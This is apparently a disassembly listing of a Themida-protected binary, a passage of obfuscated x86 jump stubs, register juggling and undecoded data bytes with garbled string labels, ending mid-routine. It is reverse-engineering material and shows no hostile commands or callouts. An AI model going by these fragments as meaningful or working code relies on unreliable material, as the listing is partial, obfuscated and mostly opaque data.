loc_50339F: ; CODE XREF: Themida_:00504ABCj push 7089h jmp loc_50C00B ; --------------------------------------------------------------------------- loc_5033A9: ; CODE XREF: Themida_:00509E0Cj add edx, ebp pop ebp jmp loc_50D31F ; --------------------------------------------------------------------------- db 81h, 0EAh, 48h dd 2943E102h, 0C1315AD0h, 8324048Bh, 0CD8904C4h, 81240C8Bh dd 4C4h, 14F75500h, 0C5C2E924h, 315C0000h, 0B9C281C3h dd 29421A71h, 5FB568C2h, 2C890000h, 93B85024h, 52145636h dd 4B30AFBAh, 293BE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5033FA: ; CODE XREF: Themida_:0050931Aj add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5121D1 ; --------------------------------------------------------------------------- loc_50340E: ; CODE XREF: Themida_:00511038j sub edx, 35D92BC8h sub edx, 4E7E7DD2h add edx, ebx add edx, 4E7E7DD2h add edx, 35D92BC8h add edx, 6BDC4642h pop ebx jmp loc_506C66 ; --------------------------------------------------------------------------- loc_503434: ; CODE XREF: Themida_:0050B263j add edi, 14896630h jmp loc_50E019 ; --------------------------------------------------------------------------- db 0B8h dd 65025F02h, 43F3BA52h, 0D02919E4h, 13C0AE9h, 0E9D8F700h dd 0FFFFFDB0h, 50241C89h, 0ECC01EB4h, 8EB25204h, 0E95AD430h dd 0B75Eh ; --------------------------------------------------------------------------- loc_50346C: ; CODE XREF: Themida_:00509A27j pop eax add edi, 0EF57B152h and eax, edi jmp loc_50DDD8 ; --------------------------------------------------------------------------- dw 814Eh dd 822D2AC6h, 17C68126h, 9C912B9h, 80E95EF3h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50348F: ; CODE XREF: Themida_:0050BAF1j push ecx mov cl, 79h jmp loc_50E76A ; --------------------------------------------------------------------------- loc_503497: ; CODE XREF: Themida_:00515DC3j xor eax, 46DC45D3h push edi mov edi, 5DF7594Eh xchg edx, edi sub edx, 0FFFFFFFFh jmp loc_5160BC ; --------------------------------------------------------------------------- dd 77EABD55h, 0E801E63Bh, 47C6815Dh, 1454A0Eh, 47EE81C6h dd 0E9454A0Eh, 0E7AAh ; --------------------------------------------------------------------------- loc_5034C8: ; CODE XREF: Themida_:0050E807j push edi mov edi, esp add edi, 4 jmp loc_515A7E ; --------------------------------------------------------------------------- dw 0C481h dd 4, 9755E956h, 0DD010000h, 4EC81h, 4890000h, 65B4B824h dd 0E0C1313Bh, 48D8F705h, 0D676B25h, 4C6FE948h, 0CE810000h dd 5BDC478Ch, 11D6C681h, 0C2812071h, 381B5D3Eh, 0EA81F201h dd 381B5D3Eh, 487E95Eh, 34890000h, 76086824h, 67E90000h dd 560000F4h, 4EC8355h, 0BB241C89h, 26403BB2h, 0A36FE9h dd 2434FF00h, 8324148Bh, 8AE904C4h, 0C1000044h, 0C58106EDh dd 0CD092BACh, 999DE9h, 0E2BF5700h, 29115521h, 26CE9F8h dd 815B0001h, 2D6FC1CEh, 0F0EE810Bh, 811C4065h, 0C5A765C6h dd 8BF00100h, 0C4812434h, 4, 7ACEB81h, 685562B3h, 71EA3799h dd 0E9242C8Bh, 0FFFFF53Fh, 0E6C98141h, 684C402Dh, 3985h dd 0BE243489h, 666D0F6Fh, 3499C681h, 6CE93C17h, 0BF0000BAh dd 0E1DC9DBh, 315FFA31h, 0F1895AD6h, 5E2434FFh, 4C481h dd 0C5E90000h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5035D7: ; CODE XREF: Themida_:00515B38j pop esi pop dword ptr [esp] jmp loc_515D92 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], edi push eax push 1A013783h pop eax inc eax neg eax shl eax, 7 xor eax, 0FF643E04h mov edi, eax pop eax sub ebp, 4BE476BEh add ebp, edi jmp loc_50A855 ; --------------------------------------------------------------------------- db 81h dd 0F66DC8C9h, 23F18123h, 815FD93Dh, 534266E9h, 81E9D13Ch dd 697D80E9h, 0E9CF2925h, 13AB7h, 83585450h, 3C8904ECh dd 1C96BF24h, 43E90B5Fh, 8B0000FFh, 0C483241Ch, 80D3F604h dd 0D82811C3h, 83241C8Bh, 0A96804C4h, 0E9000012h, 132Eh ; --------------------------------------------------------------------------- loc_50365C: ; CODE XREF: Themida_:0050667Bj mov edx, 285A7CB2h jmp loc_513903 ; --------------------------------------------------------------------------- dw 0E581h dd 92E4BCBh, 4802F581h, 0C2810000h, 135B2955h, 54F2C281h dd 9EE90814h db 0F5h, 2 dup(0FFh) byte_503683 db 0ACh ; DATA XREF: Themida_:0050289Co dd 10AA6853h, 42E90000h, 10000DCh, 3BE95EF1h, 100009Ah dd 0BA525BDDh, 4, 10399E9h, 59EB2800h, 0E924048Bh, 5958h dd 0E6B6E950h, 0EF810000h, 736D3675h, 34FFFA01h, 0C4835F24h dd 4EB85004h, 534A3433h, 0F8508EBBh, 5BD80927h, 0E9774425h dd 83D0F72Fh, 0D0F701E8h, 0E873412Dh, 0A137E92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5036EA: ; CODE XREF: Themida_:00503CC3j add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_516215 ; --------------------------------------------------------------------------- dw 835Ah dd 2C8702C5h, 820EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50370A: ; CODE XREF: Themida_:00517CA3j add edx, 4 push edx jmp loc_502EA8 ; --------------------------------------------------------------------------- loc_503713: ; CODE XREF: Themida_:005136E7j push dword ptr [esp] jmp loc_5135DA ; --------------------------------------------------------------------------- db 0BEh dd 28538F3h, 733BBB53h, 0DE314D41h, 451AE95Bh db 1, 0 word_50372E dw 8357h ; DATA XREF: Themida_:00502A4Co dd 248904ECh, 24048324h, 68525F04h, 3241h, 5A55E9h, 241C8900h dd 0E9505B54h, 0FFFFFACEh, 8104C483h, 0C51853EFh, 81DF0128h dd 0C51853C7h, 0B3E95B28h db 0F9h, 2 dup(0) byte_503767 db 66h ; DATA XREF: Themida_:00502A18o dd 8124048Bh, 4ECh, 242C8900h, 2434FF54h, 8B54535Dh, 0C483241Ch dd 90BE5604h, 81011E5Eh, 2C094AEEh, 0E35AE909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503792: ; CODE XREF: Themida_:005089BFj sub ecx, 4C427536h shr ecx, 6 add ecx, 2AE61E81h jmp loc_5173D2 ; --------------------------------------------------------------------------- dw 0EC83h dd 0D8AAE904h db 2 dup(0) word_5037AE dw 8B66h ; DATA XREF: Themida_:005029B0o dd 22E92404h, 8B00009Ah, 0C481240Ch, 4, 13234E9h, 0CE815900h dd 0A7D4535h, 6B7AEE81h, 52506876h, 1C374CBAh, 0EBE5B81Ch dd 0DE97698h, 8F00011Fh, 665C2404h, 2E9E9F7h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5037EF: ; CODE XREF: Themida_:0050B8B6j xchg eax, [esp] pop esp add esp, 4 or eax, eax jz loc_5172A3 sub esp, 4 mov [esp], eax mov eax, 1Ch jmp loc_5121B0 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 4EC815Ch, 89000000h, 9B22414h, 4153E9h db 0 ; --------------------------------------------------------------------------- loc_503825: ; CODE XREF: Themida_:00505457j add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push edx mov edx, 1FBA000Ah or edx, 48214E8Ch add edx, 0FFFFFFFFh neg edx jmp loc_512EE3 ; --------------------------------------------------------------------------- loc_503865: ; CODE XREF: Themida_:0050A184j shl ecx, 4 jmp loc_510DDD ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0CB880000h, 0EC8EE959h, 2C8B0000h, 4C48324h dd 1CBD68h, 1B5FE900h, 0F3810001h, 0C337E355h, 515BD901h dd 0FF27E95Eh db 2 dup(0FFh) word_50389E dw 8B66h ; DATA XREF: Themida_:00502914o dd 7868240Ch, 89000028h, 0DF682404h, 89000026h, 4812424h dd 424h, 2434FF00h, 4C48158h, 53000000h, 468h, 1BE95B00h db 0B3h, 2 dup(0) aNFgojvspi db '-”GŽJVéP¨',0 ; DATA XREF: Themida_:00502994o db 0 ; --------------------------------------------------------------------------- loc_5038DB: ; CODE XREF: Themida_:005122C5j add esp, 4 pop edx jmp loc_506B2D ; --------------------------------------------------------------------------- db 0FFh a4SP db '4$]éÔP',0 align 10h dd 0E95BDA01h, 9E8Ah, 0E95AD788h, 0FFFFF350h, 81FA0158h dd 5607FC2h, 0C2835F41h, 74FF5204h, 34FF0424h, 0DF79E924h dd 0E0890000h, 405h, 4C08300h, 8B240487h, 4052424h, 0E9000000h dd 0CBF4h, 0E9241486h, 0FFFFFD03h, 57241C8Bh, 0C781E789h dd 4, 4C781h, 3C870000h, 24248B24h, 205h, 24043300h, 33240431h dd 248B2404h, 9CC13824h, 0FFF15EE9h, 241489FFh, 8904EC83h dd 34FF2404h db 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp push esp pop ebp push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_51582C ; --------------------------------------------------------------------------- dw 0F800h dd 0E44DE9h, 16BF5700h, 811DDB5Fh, 291408C2h, 0E9FA2956h dd 0F550h ; --------------------------------------------------------------------------- loc_5039BC: ; CODE XREF: Themida_:00510A5Bj mov esp, [esp] sub esp, 4 jmp loc_504AB9 ; --------------------------------------------------------------------------- aMsA db '¬é;A',0 ; DATA XREF: Themida_:00502988o db 0 ; --------------------------------------------------------------------------- loc_5039CD: ; CODE XREF: Themida_:0050A5A1j mov esp, [esp] jmp loc_515FF5 ; --------------------------------------------------------------------------- db 1, 0DAh, 81h dd 0FE3767EAh, 48FEE958h, 0EC810000h, 4, 83242489h, 5F042404h dd 4C781h, 0CE90000h db 2Dh, 1, 0 ; --------------------------------------------------------------------------- loc_5039FB: ; CODE XREF: Themida_:0050DC06j not ebx jmp loc_50BDDD ; --------------------------------------------------------------------------- dw 0E581h dd 564E11BBh, 1EC3CD81h, 0ED81256Fh, 676F1FC7h, 565DEB01h dd 4BEh, 1D71E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503A22: ; CODE XREF: Themida_:00504542j push edi mov edi, 48F92B17h shl edi, 8 xor edi, 81A57BDh push esi mov esi, 2D232096h inc esi xor esi, 585E6426h jmp loc_50DA8A ; --------------------------------------------------------------------------- db 59h dd 0E9DE215Dh, 0FFFFFB1Eh, 9FBE5658h, 0E91FF16Ch, 0E441h dword_503A58 dd 9D1C77FFh, 1CD25966h, 64E99C24h, 0FFFFFFF0h, 0E9042474h ; DATA XREF: Themida_:00502A38o dd 128E3h, 4B85052h, 89000000h, 1DE958C2h, 59000133h, 4C181h dd 0BF570000h, 2B404D33h, 3F12EF81h, 5053BD0Bh, 9EE4E9h dd 0E9315F00h, 56BB535Dh, 8119870Fh, 6E1DE3F3h, 5BD92930h dd 0C181F901h, 29E912B5h, 358A68h, 24048900h, 8490E9h db 0 ; --------------------------------------------------------------------------- loc_503AC1: ; CODE XREF: Themida_:0051324Bj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov dl, 26h add bh, 95h add bh, dl jmp loc_512D94 ; --------------------------------------------------------------------------- dd 8704C783h, 835C243Ch, 0C8704C1h, 54555C24h, 81242C8Bh dd 4C4h, 25E0E900h db 1, 0 ; --------------------------------------------------------------------------- loc_503AFA: ; CODE XREF: Themida_:00509A1Aj mov [esp], edx mov edx, esp add edx, 4 push eax jmp loc_517AEB ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 0FEB95124h, 810B7518h, 974D7FE1h, 8E1C12Ch dd 4689C181h, 0A7E90730h db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503B2B: ; CODE XREF: Themida_:0050AD7Fj push small 7D87h mov [esp], bx mov bl, 41h push ecx jmp loc_517BDA ; --------------------------------------------------------------------------- loc_503B3B: ; CODE XREF: Themida_:00516D02j mov ah, bl jmp loc_513490 ; --------------------------------------------------------------------------- loc_503B42: ; CODE XREF: Themida_:00509EDDj push dword ptr [esp] push dword ptr [esp] jmp loc_5085BD ; --------------------------------------------------------------------------- loc_503B4D: ; CODE XREF: Themida_:0050CBC8j add ecx, 0FF9FDCDCh mov ebx, ecx pop ecx add ebp, 4CE76143h add ebp, ebx jmp loc_5054CB ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0FB6652BAh, 4EC830Bh, 53243489h, 0C1D1F68h dd 0EB815B62h, 0B7D58CDh, 40A0F381h, 78E96D75h, 89000047h dd 0CEB850E7h, 0C1269913h, 34E907E0h, 54000048h, 4C18159h dd 68000000h, 3C9h, 0BF243C89h, 61FD2FCBh, 6807EFC1h, 6CD8h dd 4D34E9h db 0 ; --------------------------------------------------------------------------- loc_503BC1: ; CODE XREF: Themida_:00513CF1j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5130FB ; --------------------------------------------------------------------------- loc_503BD6: ; CODE XREF: Themida_:00515795j mov [esp], ebp mov ebp, 4 sub edx, 0A1F1754h add edx, ebp add edx, 0A1F1754h pop ebp add edx, 4 xchg edx, [esp] mov esp, [esp] shr ecx, 7 sub esp, 4 mov [esp], ebx push esi mov esi, 1Ch mov ebx, esi pop esi add ebx, 0B6675E6h add ebx, edi sub ebx, 0B6675E6h push ecx push ebp mov ebp, 0 jmp loc_50D140 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0 dd 0E9000000h, 0DFE3h, 0EC805966h, 0FDEC805Bh, 34FFE300h dd 667FE924h, 0E6BF0000h, 4F447346h, 6F9AF781h, 0C7816B81h dd 63332EA1h, 2414F757h, 0B9EF815Fh, 8155F877h, 1DCFDEC7h dd 0E9FD01E9h, 0EDF3h, 2D3FC981h, 0E9814352h, 0D4B7C14h dd 76F18149h, 0E9415883h, 10D36h, 5B2434FFh, 7F5D68h, 24048900h dd 8904EC83h, 4812424h, 424h, 31E95800h db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_503CA3: ; CODE XREF: Themida_:0050C422j push ebp push edi mov edi, 3A593672h sub esp, 4 mov [esp], eax push 7BBC4806h mov eax, [esp] add esp, 4 or eax, 264C6553h push ebx mov ebx, esp jmp loc_5036EA ; --------------------------------------------------------------------------- loc_503CC8: ; CODE XREF: Themida_:00507BCEj push ecx push 4 pop ecx add edx, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_50BD6B ; --------------------------------------------------------------------------- loc_503CE0: ; CODE XREF: Themida_:0050A5C8j push 2E90h mov [esp], edx jmp loc_512CFC ; --------------------------------------------------------------------------- aIP_mzsxs db '‰,$½p_MZé•s',0 align 2 word_503CFA dw 8B66h ; DATA XREF: Themida_:00502934o dd 6852240Ch, 1907h, 2D79E9h, 0C4835800h, 0E9D83004h, 10DF7h dword_503D14 dd 42474FFh, 0E924048Bh, 5E02h ; DATA XREF: Themida_:005029B8o dword_503D20 dd 24048B66h, 1029AE9h, 0DF78000h, 0A9EF80h, 88535BFAh ; DATA XREF: Themida_:005029A0o dd 5BFC88D7h, 58E3005Ah, 1C8BD800h, 73F16824h, 2C890000h dd 815D5424h, 4C5h, 4C58100h, 87000000h, 285C242Ch, 0E9E72CD8h dd 0D071h ; --------------------------------------------------------------------------- loc_503D64: ; CODE XREF: Themida_:0050A2BCj push ebx pop edx push 1EFCh jmp loc_50D597 ; --------------------------------------------------------------------------- dd 79E168h, 24148900h, 3C1E6850h, 48B3C5Ch, 89E1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503D86: ; CODE XREF: Themida_:00512BBAj mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx push 4 pop edx and ecx, edx push dword ptr [esp] jmp loc_5069B0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0B0AAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503DAE: ; CODE XREF: Themida_:00502EA3j sub ebx, 0C3DE1FDFh jmp loc_50F9C9 ; --------------------------------------------------------------------------- loc_503DB9: ; CODE XREF: Themida_:005094BDj xor eax, edx jmp loc_50F7F3 ; --------------------------------------------------------------------------- dd 0FFED06E9h, 0D9E95AFFh, 890000A6h, 4C381E3h, 83000000h dd 1C8704C3h, 0CF815C24h, 0DE1706Fh, 128DEE9h db 0 ; --------------------------------------------------------------------------- loc_503DE5: ; CODE XREF: Themida_:00511DABj pop esp jmp loc_50E0E8 ; --------------------------------------------------------------------------- db 56h dd 4046ACBEh, 5EF7290Bh, 49B3E9h, 240C8B00h, 4C481h, 0EE810000h dd 6DD441D5h, 0E9240C8Bh, 12FB0h, 0E224F72Ch, 4EC8351h dd 0E9241C89h, 1358Bh, 815AD031h, 0CB4E5DE9h, 5214E91Dh dd 0C7810000h, 4, 4EF81h, 92E90000h, 5C0000AFh, 16B1BE56h dd 0B850187Eh, 0 dd 5F66E9h, 0E9CB3000h, 26E8h, 51240489h, 0B03908B9h, 0EDFE965h dd 0EE810001h, 7A165C12h, 0EEFEE81h, 0DE01423Dh, 0EEFC681h dd 0C681423Dh, 7A165C12h, 5B2434FFh, 1134AE9h, 241C8B00h dd 5FEF68h, 0B11DE900h, 535A0000h, 0DE88E388h, 0CE9585Bh db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_503EA3: ; CODE XREF: Themida_:005087E6j xor ebx, [esp] pop esp xor al, bl jmp loc_512A54 ; --------------------------------------------------------------------------- loc_503EAE: ; CODE XREF: Themida_:00507D9Fj add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_50C59F ; --------------------------------------------------------------------------- aLSn db '‹$$é&',0 align 2 dw 0E953h dd 130A1h, 6804C483h, 61A7h, 71C4E9h, 0CFF5200h, 0B8505A24h dd 17684310h, 0C3E9C221h, 81000127h, 4C4h, 240C8B00h, 815A5452h dd 4C2h, 4C28100h, 0E9000000h, 0B257h, 932037BAh, 7791686Bh dd 4890000h, 7B07B824h, 232D1CA7h, 31123B71h, 0E95058C2h dd 3370h ; --------------------------------------------------------------------------- loc_503F28: ; CODE XREF: Themida_:00510E03j pop ecx jmp loc_50FE8A ; --------------------------------------------------------------------------- loc_503F2E: ; CODE XREF: Themida_:00506F18j mov esp, [esp] mov [esp], eax jmp loc_512B95 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0FDh dd 0E900A93Ch, 0A1DFh, 0BBA1E993h, 0E0BF0000h, 31307054h dd 9B2D5FFAh, 56CFD0Bh, 3DF0897h, 972DD001h, 503DF08h dd 6CFD0B9Bh, 5A2434FFh, 4C481h, 0BF570000h, 1C9F22AAh dd 34FFFB01h, 0C4815F24h, 4, 1BB8E9h db 0 ; --------------------------------------------------------------------------- loc_503F89: ; CODE XREF: Themida_:00502E41j mov ecx, 9871BFEh sub ebp, ecx pop ecx pop eax and eax, ebp push dword ptr [esp] mov ebp, [esp] push eax mov eax, esp jmp loc_50B8AE ; --------------------------------------------------------------------------- aLHd db '‹$$hD!',0 align 2 dw 0C89h dd 0E9E18924h, 9A16h, 2404895Ch, 0ABE9E089h, 0F7000082h dd 2A4625D8h, 0E9515D5Eh, 101A2h, 0D6F7F587h, 0E5C1F587h dd 8CCD8105h, 502ADD39h, 856DE9B8h, 58C501CEh, 2C8BEA89h dd 4C48324h, 0BBE9D529h, 66000096h, 9C240CD3h, 0DD63E9h dd 54C38000h, 8DC0B60Fh, 9D688704h, 89000013h, 79E92414h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_504013: ; CODE XREF: Themida_:005057ABj push eax push 3036h jmp loc_504E15 ; --------------------------------------------------------------------------- loc_50401E: ; CODE XREF: Themida_:0050AD99j mov esp, [esp] jmp loc_5135AF ; --------------------------------------------------------------------------- loc_504026: ; CODE XREF: Themida_:005087DEj add eax, 4 jmp loc_504C10 ; --------------------------------------------------------------------------- dd 0C108E6C1h, 0F68102EEh, 153F71Bh, 55EF329h, 0E1D5AFBh dd 0FB2DD801h, 8B0E1D5Ah, 0C481241Ch, 4, 0F177E9h, 241C8900h dd 56E08950h, 2A4336BEh, 81DEF744h, 2A433AC6h, 5EF00144h dd 42Dh, 24048700h, 1697E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_50407E: ; CODE XREF: Themida_:0050B078j xor dl, 76h sub cl, dl pop edx sub bh, cl jmp loc_5151AB ; --------------------------------------------------------------------------- db 5Dh dd 4C481h, 0EA810000h, 2, 0E9241433h, 5A73h, 0E9C0B70Fh dd 893Eh ; --------------------------------------------------------------------------- loc_5040A8: ; CODE XREF: Themida_:00517294j mov [esp], ebx mov ebx, 452670E2h and ebx, 7F4328B4h shr ebx, 6 dec ebx and ebx, 40BA62F7h shl ebx, 7 push edx jmp loc_50A75B ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 240C895Ch, 4B9h, 8BCF2900h, 8DE9240Ch, 68000053h, 0 dd 124A9E9h, 4E9C100h, 989E181h, 0ECE90F04h, 8B0000E9h dd 0C481242Ch, 4, 5C24048Fh, 9C243CD2h, 0FEA9E9h, 81D5F700h dd 1C3226C5h, 71A46842h, 4890000h, 861DE924h, 0D400000h dd 3D310564h, 0E9484048h, 3393h, 82607E35h, 4EC8311h, 68240C89h dd 129879DFh, 59C82959h, 0E9E9h, 0D9295800h, 11CC6E9h db 0 ; --------------------------------------------------------------------------- loc_504151: ; CODE XREF: Themida_:0050C7B2j pop ebp sub esp, 4 mov [esp], eax mov eax, 12CA6821h push 5865h mov [esp], esi jmp loc_511565 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 3304EE83h, 34312434h, 9487E924h, 74FF0000h, 8F5D0424h dd 535C2404h, 4BBh, 8BDA0100h, 0C483241Ch, 1848E904h, 0EC830001h dd 24048904h, 0F012ECB8h, 22403504h, 10E97A77h db 0CEh, 2 dup(0) byte_5041AF db 8Fh ; DATA XREF: Themida_:005027E8o dd 0E915E902h, 3489FFFFh, 56CD6824h, 0C890000h, 8B96624h dd 0E9516663h, 0E085h, 0C8BCC00h, 4C48124h, 5B000000h dd 0FE9E688h db 0EDh, 2 dup(0FFh) byte_5041DF db 8Bh ; DATA XREF: Themida_:0050288Co dd 6C68240Ch, 8900005Ch, 0DC68243Ch, 54000061h, 0E924048Fh dd 12228h, 0FF2434FFh, 835B2434h, 0E46804C4h, 89000027h dd 68E9240Ch, 100007Dh, 0C1015EF0h, 8B2434FFh, 0C4812404h dd 4, 0D09EE9h db 0 ; --------------------------------------------------------------------------- loc_504225: ; CODE XREF: Themida_:00512B90j push ecx mov ecx, 37FC0EE5h dec ecx push eax jmp loc_51304B ; --------------------------------------------------------------------------- dw 8150h dd 4ECh, 0F242E900h, 0FF510000h, 8B042474h, 0C0E9240Ch db 3Dh, 2 dup(0) byte_50424B db 0FFh ; DATA XREF: Themida_:005029ACo dd 0B8E92434h, 5800000Ch, 405h, 2E88300h, 8B240487h, 89662424h dd 3E9240Ch, 10000B8h, 5B04245Ch, 8952505Ah, 4C281E2h dd 81000000h, 4EAh, 24148700h, 0C4DEE95Ch, 5B660000h, 4EC8153h dd 0E9000000h, 0BFA5h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 2474FF51h, 48F5904h, 0E9565C24h, 10F48h ; --------------------------------------------------------------------------- loc_5042B8: ; CODE XREF: Themida_:005140D9j sub ecx, eax add ecx, 557300B4h pop eax jmp loc_514AAD ; --------------------------------------------------------------------------- loc_5042C6: ; CODE XREF: Themida_:0050C991j pop edi jmp loc_507048 ; --------------------------------------------------------------------------- aZsyr db 'ZéY',0 align 2 dw 0E95Ah dd 2C8h, 0ABB1515Bh, 80E0E980h, 0CC30B9C1h, 5E4C059h, 0FEC0F480h dd 0E9DCF6C4h, 0CBA5h, 652FACB8h, 5DE8317Bh, 5A75140Dh dd 77F12D39h, 0EF813B5Ah, 37ED44D3h, 27FBEF81h, 0C70174F6h dd 27FBC781h, 0C78174F6h, 37ED44D3h, 8124048Bh, 4C4h, 0BF575200h dd 2, 84A9E9h, 5AD72900h, 5C243C87h, 0E9243489h, 508Fh dd 0FFFFFFBAh, 8BD729FFh, 0C4812414h, 4, 1F0D6853h, 0E95B210Fh dd 7CD5h, 0EC815866h, 4, 0E9240489h, 0A86Ah, 0E9240487h dd 0B50Ah, 727AE981h, 51504228h, 0E0591B9h, 59C8896Bh dd 8158C121h, 2764A5F1h, 59CB0139h, 0F353E9h, 24348B00h dd 4C481h, 0BB530000h, 2Ch, 6920E9h db 0 ; --------------------------------------------------------------------------- loc_5043AD: ; CODE XREF: Themida_:0050FE1Aj sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_5061E3 ; --------------------------------------------------------------------------- aBOz@s2a db 'ÅozÜ@é2a',0 align 2 dw 3C8Bh dd 4EC8124h, 0E9000000h, 2AA6h, 2E46E95Ch, 348B0001h, 4C48124h dd 33000000h, 2C31242Ch, 242C3324h, 386FE95Ch, 0E8680001h dd 0E930592Ch, 10A87h, 0C4E95A59h, 4BFFFFE6h, 85BF5751h dd 8916EECFh, 0BBF6E9F9h, 48660000h, 2FCE0566h, 6FD83566h dd 0E9C12966h, 4BC0h, 0E96DC380h, 0E991h, 81242C8Bh, 4C4h dd 3E95300h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50443F: ; CODE XREF: Themida_:00509BE4j sub ecx, 78EF5A8Ah mov esi, [esp] add esp, 4 push 641Eh mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov eax, [esp] push 63B9h mov [esp], eax jmp loc_512419 ; --------------------------------------------------------------------------- loc_50446C: ; CODE XREF: Themida_:00502F3Ej pop eax shl eax, 5 or eax, 6A5E2BC7h and eax, 65A27526h push esi push 87F6004h jmp loc_504825 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0CFh dd 0C1537817h, 0EAC103E2h, 4EE95704h db 0FEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_504497: ; CODE XREF: Themida_:0050C702j dec edx sub edx, 0F4EEC217h jmp loc_516234 ; --------------------------------------------------------------------------- loc_5044A3: ; CODE XREF: Themida_:005081D2j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 2775h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_508F80 ; --------------------------------------------------------------------------- dd 8904EC83h, 32682414h, 5A3F6B7Fh, 15AD301h, 32BF57C3h dd 0E93F6B7Fh, 0F1ABh ; --------------------------------------------------------------------------- loc_5044E4: ; CODE XREF: Themida_:0050870Dj sub [esp+4], ebp push ebx mov ebx, 58733E6Ah jmp loc_502D5D ; --------------------------------------------------------------------------- db 5Ah dd 0FFFFC581h, 0EDD1FFFFh, 11B6BE9h, 81E78900h, 4C7h, 4C78300h dd 68E7E9h db 0 ; --------------------------------------------------------------------------- loc_504511: ; CODE XREF: Themida_:0050AA13j pop ecx push edx push esp pop edx push 73D8h mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx push ebx jmp loc_509AB2 ; --------------------------------------------------------------------------- loc_50452B: ; CODE XREF: Themida_:0050DC29j add ebp, 96C4A209h mov esi, ebp mov ebp, [esp] add esp, 4 add esi, ecx pop ecx add esi, 574424AAh jmp loc_503A22 ; --------------------------------------------------------------------------- db 31h dd 0EC835BD8h, 24348904h, 8904EC83h, 0E9542404h, 2303h dd 4B9h, 4019E900h, 89510000h, 0CAE956E1h, 8100010Ah, 4C1h dd 4C18100h, 0E9000000h, 0B026h, 4B9h, 59CF0100h, 2C781h dd 89520000h, 4C281E2h, 83000000h, 0E95204EAh, 435Dh, 2474FF55h dd 7E1E904h, 895A0001h, 0C58158C5h, 231C43F5h, 0C152ED81h dd 0DE936FDh db 0DFh, 2 dup(0) byte_5045BF db 66h ; DATA XREF: Themida_:005028C4o dd 53240C8Bh, 2D5EE954h, 315B0001h, 0ACBAE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5045D2: ; CODE XREF: Themida_:0050BD78j mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 jmp loc_51058D ; --------------------------------------------------------------------------- aFbVyslf db 'fÍVYé«ä',0 db 0 ; --------------------------------------------------------------------------- loc_5045EF: ; CODE XREF: Themida_:00512A95j push ecx jmp loc_515D63 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 44010000h, 8B580424h, 0C4812414h, 4, 8904EC83h, 0EC83241Ch dd 240C8904h, 2713FAB9h, 64E94915h, 8900000Fh, 0E789243Ch dd 45D568h, 24048900h, 0A85415B8h, 0DD68576Ah, 5F3CE118h dd 0AAC7814Fh, 8128EE32h, 656C2CEFh, 9AB9511Ch, 0C164224Fh dd 0B8E906E9h, 46FFFFEFh, 0A2CCE81h, 0EE8146E5h, 4B321830h dd 415EF109h, 0C858F181h, 0D9E9A077h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50466F: ; CODE XREF: Themida_:005109BAj mov [esp], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], ecx jmp loc_50EE89 ; --------------------------------------------------------------------------- a_S5g db '_]é5£',0 dw 5A00h dd 0AD99E9h db 0 ; --------------------------------------------------------------------------- loc_504695: ; CODE XREF: Themida_:0050F93Bj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_506217 ; --------------------------------------------------------------------------- dd 0F6E9455Bh, 5A00011Fh, 3359CA01h, 14312414h, 24143324h dd 2124248Bh, 0E95A1C57h, 0FFFFE403h ; --------------------------------------------------------------------------- loc_5046C8: ; CODE XREF: Themida_:00511FDCj xchg edi, [esp] pop esp mov [esp], ebp mov ebp, esp push esi mov esi, 4 